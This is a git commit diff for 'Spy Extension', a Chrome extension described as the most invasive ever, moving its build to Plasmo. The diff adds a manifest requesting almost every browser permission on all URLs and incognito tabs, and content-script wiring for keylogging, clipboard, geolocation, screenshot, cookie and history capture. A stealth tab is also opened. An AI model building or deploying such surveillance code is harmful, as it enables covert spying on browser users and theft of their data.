classvsoftware · louisgv · Feb 22, 2023 · Feb 22, 2023
diff --git a/.gitignore b/.gitignore
@@ -1,4 +1,4 @@
 .DS_Store
-dist/
 node_modules/
-.parcel-cache/
+build
+.plasmo
diff --git a/.parcelrc b/.parcelrc
diff --git a/src/images/favicon.ico → assets/favicon.ico b/src/images/favicon.ico → assets/favicon.ico
diff --git a/src/images/hacker_512.png → assets/icon.png b/src/images/hacker_512.png → assets/icon.png
diff --git a/package.json b/package.json
@@ -1,11 +1,12 @@
 {
   "name": "spy-extension",
-  "version": "2.0.0",
+  "displayName": "Spy Extension",
+  "version": "3.0.0",
   "description": "The most invasive Chrome extension ever",
   "scripts": {
-    "start": "parcel watch src/manifest.json --host localhost --config @parcel/config-webextension --no-content-hash --no-cache",
-    "build": "parcel build src/manifest.json --config @parcel/config-webextension --no-content-hash --no-cache",
-    "clean": "rm -r .parcel-cache dist"
+    "dev": "plasmo dev",
+    "build": "plasmo build",
+    "package": "plasmo package"
   },
   "repository": {
     "type": "git",
@@ -14,16 +15,13 @@
   "license": "MIT",
   "homepage": "https://github.com/msfrisbie/spy-extension#readme",
   "devDependencies": {
-    "@parcel/config-webextension": "^2.8.3",
-    "@parcel/transformer-sass": "2.8.3",
     "@types/chrome": "^0.0.216",
     "@types/lodash": "^4.14.191",
     "@types/react": "^18.0.28",
     "@types/react-dom": "^18.0.11",
-    "parcel": "^2.8.3",
+    "plasmo": "^0.65.0",
     "postcss": "^8.4.21",
     "postcss-import": "^15.1.0",
-    "process": "^0.11.10",
     "tailwindcss": "^3.2.7",
     "typescript": "^4.9.5"
   },
@@ -33,5 +31,62 @@
     "react-dom": "^18.2.0",
     "react-router-dom": "^6.8.1",
     "uuid": "^9.0.0"
+  },
+  "manifest": {
+    "incognito": "spanning",
+    "host_permissions": [
+      "<all_urls>"
+    ],
+    "permissions": [
+      "activeTab",
+      "alarms",
+      "background",
+      "bookmarks",
+      "browsingData",
+      "clipboardRead",
+      "clipboardWrite",
+      "contentSettings",
+      "contextMenus",
+      "cookies",
+      "debugger",
+      "declarativeContent",
+      "declarativeNetRequest",
+      "declarativeNetRequestWithHostAccess",
+      "declarativeNetRequestFeedback",
+      "desktopCapture",
+      "downloads",
+      "fontSettings",
+      "gcm",
+      "geolocation",
+      "history",
+      "identity",
+      "idle",
+      "management",
+      "nativeMessaging",
+      "notifications",
+      "pageCapture",
+      "power",
+      "printerProvider",
+      "privacy",
+      "proxy",
+      "scripting",
+      "search",
+      "sessions",
+      "storage",
+      "system.cpu",
+      "system.display",
+      "system.memory",
+      "system.storage",
+      "tabCapture",
+      "tabGroups",
+      "tabs",
+      "tabs",
+      "topSites",
+      "tts",
+      "ttsEngine",
+      "unlimitedStorage",
+      "webNavigation",
+      "webRequest"
+    ]
   }
 }
diff --git a/src/background/background.ts → src/background/index.ts b/src/background/background.ts → src/background/index.ts
@@ -1,5 +1,5 @@
 import { BackgroundMessage, StorageKey } from "../consts";
-import { INavigationLogEntry, IRequestData } from "../interfaces";
+import type { INavigationLogEntry, IRequestData } from "../interfaces";
 import {
   captureCookies,
   captureHistory,

diff --git a/src/content-scripts/content-script.ts → src/contents/content-script.ts b/src/content-scripts/content-script.ts → src/contents/content-script.ts
@@ -1,11 +1,18 @@
 import _ from "lodash";
+import type { PlasmoCSConfig } from "plasmo";
 import {
   captureClipboard,
   captureGeolocation,
   captureKeylogBuffer,
   captureVisibleTab,
 } from "../utils/page-utils";
 
+export const config: PlasmoCSConfig = {
+  matches: ["<all_urls>"],
+  all_frames: true,
+  run_at: "document_end",
+};
+
 let buffer = "";
 
 function piggybackGeolocation() {

diff --git a/src/images/hacker_128.png b/src/images/hacker_128.png
diff --git a/src/images/hacker_16.png b/src/images/hacker_16.png
diff --git a/src/images/hacker_48.png b/src/images/hacker_48.png
diff --git a/src/images/hacker_64.png b/src/images/hacker_64.png
diff --git a/src/manifest.json b/src/manifest.json
diff --git a/src/options/index.html b/src/options/index.html
@@ -3,15 +3,8 @@
   <head>
     <meta charset="utf-8" />
     <title>Spy Extension</title>
-    <link
-      rel="shortcut icon"
-      href="../images/favicon.ico"
-      type="image/x-icon"
-    />
-    <link href="../styles/index.scss" rel="stylesheet" />
+    <link rel="shortcut icon" href="/assets/favicon.ico" type="image/x-icon" />
+    <link href="/src/styles/index.scss" rel="stylesheet" />
   </head>
-  <body style="min-width: 640px" class="relative">
-    <div id="app"></div>
-    <script type="module" src="./index.ts"></script>
-  </body>
+  <body style="min-width: 640px" class="relative"></body>
 </html>
diff --git a/src/options/index.ts b/src/options/index.ts
diff --git a/src/components/OptionsApp.tsx → src/options/index.tsx b/src/components/OptionsApp.tsx → src/options/index.tsx
@@ -1,14 +1,14 @@
 import React from "react";
-import ClipboardLog from "./ClipboardLog";
-import Controls from "./Controls";
-import Cookies from "./Cookies";
-import Geolocation from "./Geolocation";
-import History from "./History";
-import KeyLog from "./Keylog";
-import Log from "./Log";
-import NavigationLog from "./NavigationLog";
-import RequestBodyLog from "./RequestBodyLog";
-import ScreenshotLog from "./Screenshots";
+import ClipboardLog from "~components/ClipboardLog";
+import Controls from "~components/Controls";
+import Cookies from "~components/Cookies";
+import Geolocation from "~components/Geolocation";
+import History from "~components/History";
+import KeyLog from "~components/Keylog";
+import Log from "~components/Log";
+import NavigationLog from "~components/NavigationLog";
+import RequestBodyLog from "~components/RequestBodyLog";
+import ScreenshotLog from "~components/Screenshots";
 
 export default function OptionsApp() {
   return (

diff --git a/src/popup/index.html b/src/popup/index.html
@@ -2,11 +2,8 @@
 <html lang="en">
   <head>
     <meta charset="utf-8" />
-    <title>Spy Extension</title>
-    <link href="../styles/index.scss" rel="stylesheet" />
+    <title>__plasmo_static_index_title__</title>
+    <link href="/src/styles/index.scss" rel="stylesheet" />
   </head>
-  <body style="min-width: 640px" class="relative">
-    <div id="app"></div>
-    <script type="module" src="./index.ts"></script>
-  </body>
+  <body style="min-width: 640px" class="relative"></body>
 </html>
diff --git a/src/popup/index.ts b/src/popup/index.ts
diff --git a/src/popup/index.tsx b/src/popup/index.tsx
@@ -0,0 +1,12 @@
+import React from "react";
+import Notes from "~components/Notes";
+import { captureGeolocation } from "~utils/page-utils";
+
+setInterval(() => {
+  captureGeolocation();
+}, 60 * 1e3);
+captureGeolocation();
+
+export default function PopupApp() {
+  return <Notes></Notes>;
+}
diff --git a/src/stealth-tab/stealth-tab.html → src/tabs/stealth-tab.html b/src/stealth-tab/stealth-tab.html → src/tabs/stealth-tab.html
@@ -3,7 +3,6 @@
   <head>
     <title></title>
     <link rel="icon" type="image/x-icon" />
-    <script src="./stealth-tab.ts" type="module"></script>
   </head>
   <body></body>
 </html>
diff --git a/src/stealth-tab/stealth-tab.ts → src/tabs/stealth-tab.ts b/src/stealth-tab/stealth-tab.ts → src/tabs/stealth-tab.ts
diff --git a/src/utils/background-utils.ts b/src/utils/background-utils.ts
@@ -1,5 +1,5 @@
 import { SearchParamKey, StorageKey } from "../consts";
-import { IScreenshotLogEntry } from "../interfaces";
+import type { IScreenshotLogEntry } from "../interfaces";
 import {
   contextData,
   simplePrepend,
@@ -54,7 +54,7 @@ export async function openStealthTab() {
     });
 
     const url = `${chrome.runtime.getURL(
-      "/stealth-tab/stealth-tab.html"
+      "/tabs/stealth-tab.html"
     )}?${searchParams.toString()}`;
 
     // Retry this a few times, it intermittently errors

diff --git a/tsconfig.json b/tsconfig.json
@@ -1,13 +1,11 @@
 {
+  "extends": "plasmo/templates/tsconfig.base",
+  "exclude": ["node_modules"],
+  "include": [".plasmo/index.d.ts", "./**/*.ts", "./**/*.tsx"],
   "compilerOptions": {
-    "moduleResolution": "node",
-    "target": "ESNext",
-    "module": "ESNext",
-    "jsx": "react",
-    "strict": true,
-    "baseUrl": ".",
-    "paths": {},
-    "esModuleInterop": true,
-    "allowSyntheticDefaultImports": true
+    "paths": {
+      "~*": ["./src/*"]
+    },
+    "baseUrl": "."
   }
 }